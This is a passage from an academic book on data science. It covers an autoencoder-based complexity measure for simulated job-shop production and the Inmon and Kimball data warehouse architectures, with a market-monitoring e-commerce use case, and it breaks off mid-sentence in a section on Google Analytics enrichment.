shorter description, and the complexity of such a factory would be low. On the other

M

M

M

M

M

Fig. 17.2 A job shop model
with five machines,
M1–M5, and two jobs,
the sequences of solid and
dashed arrows, respectively
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hand, for a factory where most ongoing processes are random, the description given
by the data would be close to random and thus very hard to compress, and we would
quantify this as a highly complex system.

In other words, our complexity measure for a system is the minimum description
length or, equivalently, the maximum compression factor that can be achieved on
datasets fully describing that system, without loss of information.3 In principle, any
compression algorithm could be used; however, the compression performance of
those algorithms generally depends on the nature of the input data. For example, a
compression algorithm that can achieve high compression factors for still images
might perform quite badly on data consisting of moving images (i.e., video
sequences). Since we are interested in the maximum compression rate, we need
compression algorithms that are working well for the specific kind of input data we
have. One way would be to hand-design good compression algorithms for our data;
however, this would require obtaining a deep understanding of the underlying
structures in our data by hand, which would be very labor-intensive.

For this reason, we chose to use neural networks for data compression.
Unsupervised training of neural networks provides a fully automated way to extract
such underlying structures from data, which are needed for good compression
performance. The system is adaptive to a large degree, that is, for data with different
characteristics it will automatically find the underlying structures that are better
suited there. There is no need to hand-tune the compression algorithm as would be
the case with classical, nonadaptive algorithms. Of course, training the network on a
specific dataset requires time, but hand-tuning algorithms—in addition to time—
would also require deep knowledge about the underlying data structures. Neural
networks, on the other hand, once trained, can be used to discover such high-level
structures and features in underlying data (while this promises to be a very interest-
ing extension of our approach, this is beyond the scope of the current chapter and
referred to future work).

In this chapter, we hence propose to measure the complexity of a production line
using neural networks, specifically autoencoders (Goodfellow et al. 2016). The
proposed measure evaluates the complexity of an entire production process. This
approach is fully unsupervised and does not need any labeled data. However, a
sufficient amount of data is required in order to train the autoencoder.

An autoencoder is trained to produce a replica of its input at the output layer. The
structure of this type of neural network consists of a number of hidden layers
connecting the input and output layer. In general, autoencoders contain a code
layer as well as an encoding and a decoding function. The code is a representation
of the input learned through the unsupervised training procedure. The dimensionality
of the code is smaller than both input and output in undercomplete (“compressing”)

3In principle, the compression does not need to be lossless in the strict meaning of the word. While
on the noise-free simulation data used in experiments below, maximum compression while
maintaining losslessness provides a natural threshold for the degree of compression in our measure,
some degree of loss might even be desirable on real-world data to get rid of inherent noise from
measurement errors, etc.
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autoencoders. In this case, the code forms an information bottleneck between the
encoding and decoding networks, as depicted in Fig. 17.3.

The complexity measure we propose here is the minimal bottleneck dimensionality
for the autoencoder to yield lossless reconstruction. Its value does not directly
represent any features of the production line process but rather reflects its overall
complexity in an abstract way. The production line data from the simulation (see Sec.
3.2) is considered a source of information for lossless compression and reconstruction.
Each job in the job shop is represented as a certain temporal sequence of processing
steps on several machines and is encoded as a two-dimensional matrix, where one
dimension is the discretized process time and the other dimension is the ID of the
process machine (see Fig. 17.5). An entry in the matrix is set to one if the
corresponding machine is active at that time step, and set to zero otherwise. These
matrices can be interpreted as patterns or images, and the set of all patterns of all jobs
occurring in a given job shop provides a representation of the complete activity of this
job shop. The autoencoder tries to compress the set of all these patterns as much as
possible, without loss of information. The minimum code length (i.e., the size of the
smallest bottleneck layer) that can achieve this is related to the information content in
the activity patterns, and is chosen as our complexity measure for this job shop.

Based on Shannon’s source coding theorem (Shannon 2001), it is possible to
asymptotically obtain a code rate that is arbitrarily close to the Shannon entropy
(Shannon 2001) in lossless compression of a source of information. The code rate
refers to the average number of bits per symbol (products in production lines) in this
definition. Importantly, lossless compression of a source is not possible with a code
rate below the Shannon entropy (Shannon 2001). The dynamics of the production
line is initially represented in the form of images containing temporal information as
well as machine identification numbers. The autoencoder subsequently performs a
lossless compression of these images. Therefore, the code rate in this context
corresponds to the compression ratio of images (information of production lines)
to code (bottleneck of the autoencoder).

The Shannon entropy of a source of information determines the lower band of the
code rate. Therefore, the minimum code rate can be used as an approximation for the
Shannon entropy. Assuming a source with fixed input length in the encoder, and
specifically the autoencoder, the code rate only depends on the code length or the

Fig. 17.3 The structure of a deep autoencoder with encoder, decoder, and the code (bottleneck) in
between. As in the picture, we also encoded our data in image format (see Sect. 4.2)

322 L. Hollenstein et al.



bottleneck dimensionality. Therefore, the Shannon entropy of the source of infor-
mation (production line) is proportional to the minimum dimensionality of the
bottleneck in the autoencoder. Feldman and Crutchfield (1998) explain why the
Shannon entropy is a measure of statistical complexity. Recently, Batty et al. (2014)
used this measure to analyze spatial information and complexity. The proposed
measure of complexity in this work, minimum dimensionality of the autoencoder
bottleneck (code), is directly proportional to the entropy, which is a measure of
complexity. It reflects the temporal usage patterns of the machines in the production
line; the more different patterns that are needed to represent the system dynamics, the
more complex it is.

4 Experiments and Discussion

Here we provide and discuss a proof of concept for our neural-network-based
complexity measure for production systems. To show its validity, we generate a
series of instances of the job shop model, produce the simulation event logs, and
measure the complexities of each scenario in two ways: first, using a conventional
complexity measure based on business analysis (see Sect. 4.3), and second, com-
puted with our neural-network-based measure discussed in Sect. 3.3. Since the data
for the original case study was not available, we used the job shop simulation model
to produce the data required for the proof of concept.

4.1 Scenarios

We investigate the complexity of a series of instances of the job shop model. Starting
from a simple base scenario, we vary several features in different directions,
targeting different complexity drivers, namely, the number of processing steps, the
number of products, the percentage of dedicated production lines, and the
manufacturing stability. Introducing these variations leads to different production
complexities for each scenario.

The base scenario has machines grouped in three stages that all jobs visit in the
same order, reflecting the realistic situation where products typically go through
stages like setup, assembly, and packaging. We generate 800 jobs that have tasks
sampling all possible combinations of machines in those three stages, all with the
same processing times. See Fig. 17.4 for an illustration of the base scenario with two
machines per stage.

To produce different scenarios, we focus mainly on the second stage and change
the number of machines available, the processing times of jobs on individual
machines, the availability of machines, or the processing time depending on the
choice of machine in the first stage. In addition, we enlarge the base scenario to
encompass three and four machines per stage, respectively, and generate variations
analogous to those described above.
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4.2 Data Preprocessing and Autoencoder Network Topology

Before being fed into the autoencoder for complexity analysis, the data from the job
shop has to be preprocessed. We do this in a way that allows automated integration
in real factory settings in an Industry 4.0 environment later, namely, using
timestamps of process steps. When jobs pass through the simulated job shop, each
process step produces a timestamp when it is started and when it is stopped, together
with the ID of the machine on which it is run (see Sect. 3.2).

For each job, we generate a two-dimensional matrix from this information, where
one dimension is indexed by machine ID and the other by elapsed (discrete) time
steps since the job started. If the machine with ID j is processing the given job at time
step k, then in the corresponding matrix the entry at position ( j, k) is set to +1,
otherwise to �1. In other words, the processing of a job in the job shop can be
represented as a two-dimensional pattern of black and white pixels, where white
pixels indicate active machines at the corresponding time step, black pixels indicate
inactive machines, and process steps are represented by horizontal white lines of
different lengths (see Fig. 17.5). Each of these patterns constitutes a training pattern
for the autoencoder, and each pixel position in the pattern is fed into a corresponding
neuron in the input layer of the autoencoder. In our simulations, we use a maximum
number of 16 machines and 61 time steps, so all our input patterns have a fixed size
of 16� 61 pixels. Note that not every machine or time step is used in every scenario;
unused entries will simply be zero. We chose to keep the input dimensions fixed over
all scenarios so that the number of weights in the neural networks would not depend
on the scenario, allowing better comparability between scenarios. Thus, the input
dimensions are just chosen large enough to accommodate the maximum number of
machines and time steps in any of the scenarios.

While it would be possible to use a classical autoencoder (with fewer and fully
connected hidden layers as the one depicted in Fig. 17.3) directly on these input data,
for these fully connected networks the relatively large number of inputs
(16� 61¼ 976) leads to a rather large number of weights, resulting in slow learning
and large training data requirements. Therefore, we decided to use a different
network topology for our autoencoder: immediately after the input layer we use a
stack of three convolutional layers, followed by two fully connected layers with a
central hidden layer (the actual autoencoder), and finally a stack of three “transpose

M M M

M

stage 1 stage 2 stage 3

M M

Fig. 17.4 The base scenario
with two machines per
stage. Each job visits the
three stages in the same
order and can be assigned to
either machine per stage.
Here, the arrows represent
all possible paths of jobs
through the system
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convolutional” layers to revert the action of the convolutional layers (Stadelmann
et al. 2018).

The convolutional layers are very good at extracting information from
two-dimensional pictures with geometric features such as our horizontal process
step lines, while requiring relatively few weights due to weight sharing. Further-
more, since we use a stride of 2 in each layer, also the dimensions of the input
patterns are reduced accordingly. Using 3 � 3 filters, we compared different filter
numbers and found that for 2, 4, and 8 filters in the 1st, 2nd, and 3rd convolutional
layer, respectively, the network could learn to map all input patterns for all scenarios
to the correct output patterns, using less than 10 neurons4 in the central hidden layer
in all cases. It should be pointed out that in spite of the larger number of layers, our
network actually has much fewer weights than a traditional autoencoder: for exam-
ple, for a case with 8 neurons in the bottleneck layer, the simplest traditional three-
layer autoencoder would require 16,600 weights, whereas our network topology
only requires 2961 weights to be learned for that case.

Fig. 17.5 Example of four input patterns for the autoencoder, generated from four different jobs
from the simulated job shop. In each pattern, each row of pixels corresponds to the activity of a
certain machine during the processing of that job (only 6 out of 16 potentially active machines per
job are shown in this illustration). The horizontal axis represents (discrete) time passed since the
start of that job. White pixels denote the corresponding machine being active at the corresponding
time step, black pixels represent inactive machines

4This specific number depends on the concrete data used and can be determined experimentally for
any real data.
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For comparability, we decided to fix the convolutional layers at the configuration
described above and only vary the number of neurons in the central hidden layer.
The minimum number of hidden neurons for which the network could still learn the
correct input–output mappings for all patterns (jobs) in a given scenario was then
chosen as the complexity number for that scenario. In other words, the network had
to map all input patterns (representing all jobs in the production line) successfully
back to the same input patterns while passing this information through a small
bottleneck layer, and the minimum size of the bottleneck layer for which this was
possible was chosen as the complexity number. It should be noted that this is only a
relative complexity measure, since changing the network configuration of the
convolutional layers will affect the minimal number of hidden neurons required. In
other words, how the data is preprocessed affects how easily it can be learned
(Lichtensteiger and Pfeifer 2002). Here, having less filters in the convolutional
layers will require more neurons in the central hidden layer for still being able to
learn successfully. However, since we are not yet able to quantify this influence
appropriately, for this study we decided to fix the convolutional network topology at
a configuration that was shown to work well and focus only on the number of
neurons in the central hidden layer for our complexity measure.

In order to verify the self-consistency of our complexity measure, we did a second
full run of experiments where we used different weight initializations for the
networks and added strong multiplicative random noise in the neural activities of
the bottleneck layer. In addition, we varied the size of input patterns by adding
different amounts of zero padding. Our first results show that in spite of these rather
substantial changes to the network, the resulting complexity measures do not change
significantly, indicating the robustness of our approach. With regard to computa-
tional runtime, on a desktop PC equipped with an Intel Xeon Processor E5-2620
running at 2.40 GHz and an NVIDIA Quadro M4000 GPU, learning the correct
input–output mappings for all patterns (jobs) in a given scenario required around
1–5 min. When the number of neurons in the bottleneck layer was changed, the
system had to learn again. Since calculating complexity required finding the mini-
mum number of neurons in the bottleneck layer for which learning was successful,
using, for example, binary search around 5–10 variations of neuron numbers were
needed. Therefore, calculating our complexity measure for a given scenario took
around 10–50 min on our hardware configuration.

4.3 Results

To validate our neural-network-based complexity measure we compare it to a state-
of-the-art conventional method (Friedli et al. 2013). It is computed as a weighted
sum over contributions from the following factors (complexity drivers): number of
process steps, percentage of dedicated production lines, number of changeovers,
flexibility upside, and number of batches. These factors are measured for all simu-
lated job shop scenarios and normalized to the interval between 0 and 1. Note that we
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did not consider manufacturing stability as a driver of complexity here, since the
scheduling of the job shops is static and therefore the simulations are deterministic.
For the weights of the individual complexity drivers we take the results from Friedli
et al. (2013), and renormalized them to 1 after neglecting the weight for manufactur-
ing stability.

Figure 17.6 shows the averages of our autoencoder-based complexity values from
the two experimental runs plotted against the complexity values obtained using the
conventional method. The error bars show standard deviations as conservative
indicators of the variability of our approach, see discussion in the end of Sect. 4.2.
The Pearson correlation coefficient is p ¼ 0.637, which indicates a fair correlation.
This shows that our autoencoder-complexity measures at least partly the same
features as the conventional method does, rendering it a valuable tool in the analysis
of production and process analysis while being determined completely in a data-
driven manner. This result is to be understood as a first proof-of-concept. To improve
the understanding of the relation between the two complexity measures and the
dependency of the autoencoder complexity on the features of the production pro-
cesses and product architectures, a complete study based on larger job shops and,
preferably so, real data is needed and aimed for.

Fig. 17.6 The complexity values for all scenarios from the autoencoder (minimal number of
bottleneck neurons) is plotted against the conventional complexity normalized over all scenarios.
The Pearson correlation coefficient is p ¼ 0.637 (“fair correlation”). The error bars show the
standard deviation of two different series of experiments (see end of Sect. 4.2)
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5 Conclusions

We claim that data analytics projects need data to be analyzed. Often taken for
granted and not seriously planned as a potential showstopper, the unavailability of
data of the right quality, at the right granularity, and in a reasonable project time
frame may put entire projects at risk. The message is clear: gathering the right data is
not to be underestimated and can make up by far the majority of the project time.

Lesson Learned #1 For future projects, special attention needs to be paid to the
measurement and gathering of the specifically required data out of the production
systems.

The research conducted in this chapter showed a feasible way of how to deal with
unavailable data when one is hit by it. Specifically, available high-level data can be
turned into a simulation model (using extra help from domain experts) that produces
finer-grained synthetic data in arbitrary quantity (but in quality bound to the explic-
itly modeled aspects of the simulation). This finer-grained data (independent of
originating from direct measurements or simulations) can in turn be used to train a
machine-learning model with intriguing properties: it inherits the properties of the
simulation model while being able to generalize beyond its discontinuities. This
study used state-of-the-art unsupervised learning schemas (deep convolutional
compressing autoencoders) for this task.

Lesson Learned #2 Coupling simulation and machine learning to “convert”
models of the real world and thus get access to the intriguing properties of each
method is a powerful tool. In the presented scenario we show how simulation can be
used to provide missing input data, at least until the real data can be provided. In an
age where data is considered extremely valuable, yet sometimes still scarce if too
specialized, this is an important methodology in many domains from sociology to
traffic, energy, and health.

We specifically introduced a novel complexity measure for industrial product
architectures and process topology based on the minimum dimensionality of the
bottleneck layer of our trained autoencoder. We computed this complexity measure
for a range of production line scenarios, inspired by real situations in our case study.
Comparing those values to the state-of-the-art complexity measures based on con-
ventional complexity drivers suggested by business experts, we find that the two
measures are fairly correlated (see Fig. 17.6), which we interpret as a proof of
concept for the autoencoder approach. As opposed to the conventional measure
that is based on expert knowledge and extensive human effort (qualitative interviews
and subsequent work of economists), our measure has the advantage of being
learned completely in an unsupervised fashion from timestamped process data
alone. Note that we are not suggesting to always use this complexity measure in
conjunction with a respective simulation model of the production system in question.
On the contrary, the aim for further work is to establish our complexity measure by
testing it in real-world situations with real shop floor data, using it as a tool to
identify unwanted complexity and suggest changes in process structures and product
architecture that reduce this complexity and the associated costs.
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Lesson Learned #3 The paradigm of data-driven decision support can even enter
the domain of a highly qualified business consultant (that would usually estimate the
classical complexity measure manually), delivering the quantitative results neces-
sary to ponder informed management decisions.

Neither the complexity measure itself, nor the neural autoencoder architecture, or
the necessary data, are highly sophisticated. They are based on available information
and common-sense ideas, implemented and thoroughly verified but not much
changed from the original idea. While a first prototype like this case study shows
the traits of a research project, nothing hinders its direct application by engineers in
business in the next scenario that is somewhat similar.

Lesson Learned #4 It is merely the knowledge of what methods and technologies
are possible and available that currently hinders the faster adoption of the data-driven
paradigm in businesses.

Neither the involved simulation methods, nor the used machine learning tech-
niques, nor the idea of bootstrapping machine learning with simulation per se are
novel. Nevertheless, the data-driven complexity measure is new and arises simply as
a straightforward combination of available technologies and methodologies. Inno-
vation in this project arose from the collaboration of experts, not from individual
novel developments [see also Swiss Alliance for Data-Intensive Services (2017)].
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Chapter 18
Data Warehousing and Exploratory
Analysis for Market Monitoring

Melanie Geiger and Kurt Stockinger

Abstract With the growing trend of digitalization, many companies plan to use
machine learning to improve their business processes or to provide new data-driven
services. These companies often collect data from different locations with sometimes
conflicting context. However, before machine learning can be applied, heteroge-
neous datasets often need to be integrated, harmonized, and cleaned. In other words,
a data warehouse is often the foundation for subsequent analytics tasks.

In this chapter, we first provide an overview on best practices of building a data
warehouse. In particular, we describe the advantages and disadvantage of the major
types of data warehouse architectures based on Inmon and Kimball. Afterward, we
describe a use case on building an e-commerce application where the users of this
platform are provided with information about healthy products as well as products
with sustainable production. Unlike traditional e-commerce applications, where
users need to log into the system and thus leave personalized traces when they
search for specific products or even buy them afterward, our application allows full
anonymity of the users in case they do not want to log into the system. However,
analyzing anonymous user interactions is a much harder problem than analyzing
named users. The idea is to apply modern data warehousing, big data technologies,
as well as machine learning algorithms to discover patterns in the user behavior and
to make recommendations for designing new products.

1 Data Warehouse Architecture

Modern enterprises typically have dozens of databases that store different types of
data such as information about customers, products, processes, marketing data,
financial data, etc. In a global organization, different regions might store products
in different databases with different schemas and sometimes conflicting information.
Moreover, parts of the database might be stored in a relational database, in a
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NoSQL-database or even in Excel-sheets. Analyzing these diverse, heterogeneous
datasets individually might lead to different results among the different databases
due to data redundancies or data quality issues. The goal of data warehousing is to
integrate these diverse datasets into one coherent database that can be considered as
the single source of truth for subsequent analytics pipelines.

Traditionally, there are two main approaches of building a data warehouse:

• Inmon-Approach: three-layer architecture with Staging Area, Integration Layer,
Data Marts (Inmon 1992)

• Kimball-Approach: two-layer architecture with Staging Area and Data Marts
(Kimball 2002)

We will first analyze these two approaches and afterward discuss alternative
solutions.

1.1 Inmon-Approach

According to Bill Inmon, a data warehouse is a subject-oriented, integrated, time-
variant, and nonvolatile collection of data in support of management’s decision-
making process (Inmon 1992). Let us analyze this definition in more detail:

• Subject-oriented: Datasets are not just randomly spread all over the data ware-
house but they are separated by specific topics according to their business
functions. For instance, all database tables of a customer are stored in a dedicated
area called customer. All information related to products is stored in a
product area.

• Integrated: This is the most important aspect of the Inmon-Approach. Assume
that a global company has a customer database in Zurich and one in New York.
Both databases have different schemas to store their customers. Integrating these
datasets means to design a data model that covers all aspects of the customer in
one generic schema. We will provide an illustrative example below.

• Time-variant: Data warehouses typically do not delete any data but store data
changes over various points in time to enable historical data analysis.

• Nonvolatile: Data is stored permanently and cannot be changed any more.

The architecture of the Inmon-Approach consists of three layers as shown in
Fig. 18.1. We will first describe the layers very briefly and afterward show concrete
examples about the functionality and challenges of each layer.

• Source Systems (shown on the left side of Fig. 18.1): These systems provide the
data that should be stored in the data warehouse. They are not considered a
dedicated data warehouse layer.

• Staging Area: Data is imported from various sources into one database system.
• Integration Layer: Data is integrated, harmonized, cleaned, and stored into an

enterprise-wide data model.
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• Data Marts: Data is physically reorganized to enable fast query response times
for analytics. Cubes are special types of Data Marts that physically store database
tables as multidimensional arrays as opposed to storing them in a relational
database.

We now discuss the three data warehouse layers by means of concrete examples.

Staging Area Figure 18.2 illustrates the functionality of a Staging Area. On the left
side we see datasets about products from three different locations of the same
company, namely, Singapore, New York, and Zurich. Also note that the formats
are different—text file, Excel-sheet, and database, respectively. These three datasets
need to be stored into tables of the Staging Area. However, note the different data
quality issues of the three systems. For instance, some data values are missing, for

Fig. 18.1 Data Warehouse Architecture according to Inmon. The left side shows the source
systems. The remaining parts show the three layers of the data warehouse: Staging Area, Integration
Layer, and Data Marts. Note that Cubes are special types of Data Marts

Products
Singapore

Products
New York

ProductName Description Currency Maturity

Bond which
yields 3%
intereste rate

Anleihe42 Anleihe mit
4.2% Zinsen

CHF 31–12–2017

Bond - 3 US Dollars 7/5/2009

March 3, 2014877

Produkte
Zürich

Fig. 18.2 Illustration of a Staging Area. Datasets from different sources need to be stored in a
common database system. Note the data quality issues in the resulting table
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example, ProductName, the currencies are expressed in different ways, for example,
877 versus US Dollars, and dates are formatted differently, for example, 7/5/2009
versus 31-12-2017. One task of the Staging Area is to convert the date information
into a common format while data modeling tasks like harmonizing the different
expressions of the currency information are handled in the subsequent Integration
Layer.

Integration Layer Figure 18.3 shows an illustration of designing an integrated data
model. Assume that the Staging Area contains two tables about customers that are
originally stored and maintained in separate systems in New York and Zurich. Note
that on the one hand, the schema is different. On the other hand, the language of the
attributes is also different. A major task is now to design a common data model that
is able to capture the complete information from both customer tables of the Staging
Area. Note that this exercise has to be repeated for every table in the Staging Area. In
large corporations it is not uncommon to have several thousands of tables in the
Staging Area (Ehrenmann et al. 2012). The goal is to build a common enterprise data
model where attributes are aligned, data quality issues are resolved, and different
versions of data are stored over time.

According to Inmon, the data model adheres as much as possible to third normal
form (Bernstein 1976), which is common to online transaction processing systems,
that is, database systems that support insert, update, and delete operations. Simply
put, third normal form guarantees that there are no redundancies in the data and
insert as well as update operations can be performed efficiently.

Data Mart Figure 18.4 illustrates the functionality of a Data Mart. The main
purpose of this layer is to enable fast data analysis. Hence, the data is logically
and physically reorganized such that query response times are minimized. This kind

Name

Personen-DB New York:

Page

Peter Müller

Peter Müller Zürich Bahnhofstrasse 15

Bahnhofstrasse 15

Benvenue Ave 2449Berkeley

CH 8001

CA 94740

8001 Zürich

Larry

Page Larry CA 94740,
Benvenue
Ave 2449,
Berkeley

Personen-DB Zürich:

Vorname Nachname PLZ Stadt StrasseFirst Name

FirstName LastName StreetPO__Box City

Address

Fig. 18.3 Excerpt from an Integration Layer. Two tables of the Staging Area with different
schemas (top part of the figure) need to be modeled and integrated into a common table (bottom
part) that captures the information of both customer tables
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of data modeling technique is called Star Schema (Kimball 2002) where the fact
information is in the center of the star, namely, the transaction information. A typical
example is to store each purchase item as a separate transaction. The outer part of the
star are called dimensions, which contain information about the context of a trans-
action, such as what products were bought, by which customer, when, and under
which contracts.

One of the main differences of a Star Schema model as opposed to third normal
form is that data is denormalized, that is, data is stored redundantly. This has the
advantage that fewer database tables are required and hence fewer typically expen-
sive join-operations are executed during query processing. Since the purpose of Data
Marts is to enable analysis and does not require updates, having data redundancy
does not imply potential update problems Note that the Star Schema design is still
relevant even though there have been significant changes in both hardware and
software, such as main-memory databases (Larson and Levandoski 2016) or hard-
ware accelerators (Casper and Olukotun 2014). The main reason is that Star Schema
design is a good data modeling practice and should not be confused with a technique
for performance optimization. A good overview on the main arguments can be found
in the following blog post by Uli Bethke.1

Products

Transactions

Time

ContractsCustomer

Fig. 18.4 Illustration of a Data Mart modeled as a denormalized Star Schema consisting of a fact
table (Transactions) and four dimension tables (Products, Customer, Time, and Contracts)

1https://sonra.io/2017/05/15/dimensional-modeling-and-kimball-data-marts-in-the-age-of-big-
data-and-hadoop/
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1.1.1 Discussion of Inmon-Approach

From a development perspective, an Inmon data warehouse is built bottom-up, that
is, first the Staging Area, then the Integration Layer, and afterward the Data Marts. In
other words, the development process is according to the data flow.

The advantage of the Inmon-Approach is that the Integration Layer harmonizes and
cleans the data, such that Data Marts can access data of high quality. However, the
major disadvantage is that it takes quite some time until first analysis results are
achieved, since Data Marts are built at the end of the development cycle. Moreover,
designing an enterprise-wide data model is a challenging task since one needs to
interact with various business units of the enterprise to correctly model the real world.

1.2 Kimball-Approach

The Kimball approach tries to tackle the main problems of the Inmon-Approach by
starting with developing the Data Marts first. Similar to the Inmon-Approach, Data
Marts are based on denormalized Star Schemas. Moreover, the Kimball data ware-
house does not have an Integration Layer with an enterprise-wide data model and
typically only consists of a Staging Area and Data Marts with Star Schema (see
Fig. 18.5). The actual data integration needs to be done by each Data Mart separately
or via so-called Conformed Dimensions, which can be considered as shared dimen-
sion tables that are used among Data Marts.

Fig. 18.5 Data Warehouse Architecture according to Kimball. The left side shows the source
systems. The remaining parts show two layers of the data warehouse, namely, the Staging Area and
the Data Marts. Cubes are special types of Data Marts and are thus considered to be part of the Data
Mart Layer
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1.2.1 Discussion of Kimball-Approach

The Kimball approach has clearly the advantage of delivering analytics results early
on since Data Marts are built first. The architecture is also less complex since it often
consists only of two layers. However, the major disadvantage is that each Data Mart
needs to do data integration separately and often independently, which could result
in Data Marts that produce noncoherent results.

1.3 Alternative Approaches

Alternative approaches to the Inmon and Kimball data warehouses are to not fully
model all entities in the Integration Layer but only focus on the most important
business entities, such as customers, products, and organizational information
(Ehrenmann et al. 2012). The other entities could then be directly loaded from the
Staging Area into the Data Mart.

Another approach is to model the Integration Layer as a Data Vault (Hultgren
2012). In short, a Data Vault does not fully integrate all data entities into one
common data model but simply adds entities together via bridge tables. The advan-
tage of this approach is that data can be loaded independently and does not require
full integration and hence potential expensive schema update operations do not
occur. The disadvantage, however, is that the data model typically results in more
tables, which in turn requires more join operations when loading the Data Mart. For a
more comprehensive discussion see Hultgren (2012).

2 Data Warehouse Use Case: Market Monitoring

In the following sections, we describe a use case of building an e-commerce platform
based on a data warehouse that services as the basis for machine learning to
recommend better products. The e-commerce platform includes information on
tens of millions of products that are entered and curated by tens of millions of
users via a crowd-sourcing approach. End-users are provided with detailed product
information of goods with focus on groceries and cosmetics. The users can browse
the product catalog, compare the product ingredients, or explicitly search for specific
products. In case some product information is missing or some products are not in
the system, end-users have the possibility to enter the missing information and thus
contribute to the product database. See Fig. 18.6 for an example of a typical product
showing the nutritional value of a certain type of yogurt.

The product database as well as the user community has been growing over the
years. However, the company that is running the e-commerce portal had no infor-
mation about the needs of their customers. Moreover, that company also did not
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know which products were popular or unpopular since no evaluation of the user
behavior was performed, even though the user access logs were stored in an
anonymized form over several months. Hence, the goal of this use case was to
analyze the user behavior to recommend healthier products to the end-users or
products with sustainable production. Another goal of this use case was to find out
which products are requested by users and what kind of product ingredients are
indicators for successful or unsuccessful products on that platform.

Besides entering new products, the platform allows the users to rate the ingredi-
ents for each product. Hence, a first step of this use case was to perform exploratory
analytics to identify the main characteristics of the user behavior. In other words, one
of the concrete tasks was to find out which product ingredients are popular and
which ones are unpopular. Figures 18.7 and 18.8 give a brief overview on these
kinds of analytics on cosmetics products. We have chosen cosmetics products since
they are among the most popular ones on the respective e-commerce platform.

Figure 18.7 shows which ingredients users want be included in certain products
(such as water, glycerin, or phenoxyethanol), while Fig. 18.8 shows which ingredi-
ents should not be included (such as silicon oil, disodium etha, and methylparaben).
In order to run these kind of analytics on a daily basis with reasonable query
performance (i.e., response times below 5 s), it was important to design and
implement a state-of-the-art data warehouse as described in Sect. 1.

Figure 18.9 gives an overview of the data warehouse architecture that we
implemented. This architecture follows a layered approach with Staging Area,
Integration Layer, and Data Mart. Our design basically follows the Inmon-
Approach with a reduced Integration Layer. We discuss the particularities of each
of these layers below.

The Staging Area is basically a copy of the products stored in the product
database along with the user access statistics. Moreover, the Staging Area also
holds access statistics provided by Google Analytics that we will discuss in Sect. 3.

Fig. 18.6 Example of typical product contained in the product database showing the nutritional
value of a certain type of yogurt along with a comparison of the average daily use of the major
product ingredients
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Fig. 18.7 Aggregated user behavior about cosmetics products with particular ingredients. The
figure shows which ingredients should be included
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The Integration Layer is the core of the data warehouse since it integrates and
harmonizes the various independent database tables from the Staging Area. Hence, a
carefully designed data model is required that reduces data redundancies or ambi-
guities. Jointly with our industry partner we performed several iterations to fully
understand and correctly model the data.

In order to analyze the history of products over time, we applied data historization
as commonly used in data warehouses in industry (Ehrenmann et al. 2012). In other
words, changes in the information of products are stored over time with specific
timestamps, in order to be able to analyze changes over time.

Finally, the Data Mart stores the results of complex calculations and physically
reorganizes the data in order to enable fast query processing.

For this use case, we only used open source technology since we worked with a
small startup company that could not afford expensive, commercial solutions. The
data is stored in the relational database management system MariaDB (MariaDB).
MariaDB is the fully open source version of MySQL, which in turn contains some
closed source modules. We have deliberately chosen the open source version since
we wanted to avoid being tracked into some company-specific codes. A major
alternative open source database system to MariaDB/MySQL would be Postgres
(Postgres). We have chosen MariaDB since it provides a richer set of plug-ins for
open source projects and is part of the LAMP web service stack (Linux, Apache,
MySQL/MariaDB, php) (Lawton 2005).

The processes for data extraction, transformation, and loading (ETL) are
implemented with the data warehousing tool Pentaho (Pentaho), which is one of
the most widely used open source ETL tools with a wide range of functionalities.
The advantage of using Pentaho for database transformations is the graphical user
interface, which enables developers to build ETL processes visually. The resulting
process flows enable nontechnical users to better understand data flows and

Fig. 18.9 Data Warehouse Architecture as implemented for our use case. The data warehouse
consists of the classical three layers, namely, Staging Area, Integration Layer, and Data Marts
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transformations without the need to know domain-specific programming languages
such as SQL or PL/SQL (Feuerstein and Pribyl 2005). Alternatives to Pentaho are
Talend (Talend) and JasperSoft (JasperSoft) that provide similar functionality. We
have chosen Pentaho since we had already a positive development experience from
previous projects. However, we see no obvious reasons why we could not have
chosen another ETL tool.

One of the main challenges of building the data warehouse was to achieve
acceptable load (less than 12 h to potentially load a data warehouse twice a day)
and query performance (below 5 s for end-user queries). Some tables had on the
order of 107 and 108 records. The tables needed to be joined in various ways in order
to perform analytical calculations. Hence, in order to reduce the query response
times below 5 s, we needed to perform a detailed analysis of the query access paths
and to build dedicated database indexes. However, building a database index is
always a trade-off between query performance and load performance: On the one
hand, database queries are typically accelerated by database indexes. On the other
hand, the load performance could deteriorate, since loading a database table also
requires updating the respective indexes.

We could overcome this problem by monitoring the behavior of the database
(loading and querying of data) over a certain period of time and carefully studying
the impact of introducing database indexes. In particular, we analyzed the query
plans produced by the query optimizer and studied the resulting access paths
(Ioannidis 1996). A typical query that requires joining two tables could have several
access paths, for example,

• Sequential scan over both tables followed by hash join
• Sequential scan over both tables followed by nested loop join
• Index scan followed by hash join

In addition to studying the queries, we also needed to study the database opera-
tions for loading and transforming tables into the various layers. Hence, a significant
time spent on building the data warehouse is to physically tune the database.

Since database tuning is a very challenging task and requires expert knowledge
both of the database and the data content, recent approaches use machine learning
algorithms to optimize the database performance (Wang et al. 2016).

3 Enrichment with Google Analytics Data

As already mentioned previously, in order to use the e-commerce platform, no
specific user account is required that explicitly characterizes each individual. In
other words, the access logs that are stored by the platform contain only anonymized
information. However, in order to perform some kind of user analysis, statistical
access information is required. Hence, we used Google Analytics (GA) to better
understand the user population (Clifton 2012).
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GA provides statistical information on users that access certain web pages. GA
requires a snippet of JavaScript code that needs to be added to the website that
should be tracked. The visitor data is then sent to a Google server that analyzes the
data. However, various ad filtering programs can block Google’s tracking code,
which potentially leads to holes in the access statistics. Moreover, user can delete or
block GA cookies and hence no data can be collected. All these issues show that GA
is a good additional source of information but one needs to accept certain data
quality issues that cannot be thoroughly quantified.

Let us now discuss how we used GA in our use case. Since each product of our
e-commerce application is described on a dedicated web page, we could directly
leverage GA. For instance, GA indicates whether a certain user is male or female.
Moreover, GA provides information about age groups of users. Figure 18.9 shows
some statistical user information about accessing various products. For instance, the
product with ID 324404 (first row in Table 18.1) has been accessed 7890 times; 1681
accesses were by male users and 1686 by female users. Note that the number of male
and female users does not necessarily sum up to the total number of GA views. One
reason is that GA only provides statistical information if at least ten users have
accessed a certain page. We will revisit this fact later on. Figure 18.9 also shows
which users are estimated to be in the age range of 15–24, 25–34, etc.

We used this information to estimate the gender of users for whole access paths of
product groups. Assume, for instance, that a user accessed three different products as
shown in Fig. 18.10. Further assume that GA estimates the probability that product
1 was accessed by a female user to be 68%. The probabilities provided by GA for
products 2 and 3 are 62% and 80%, respectively.

We can now calculate the total probability for all three products by applying
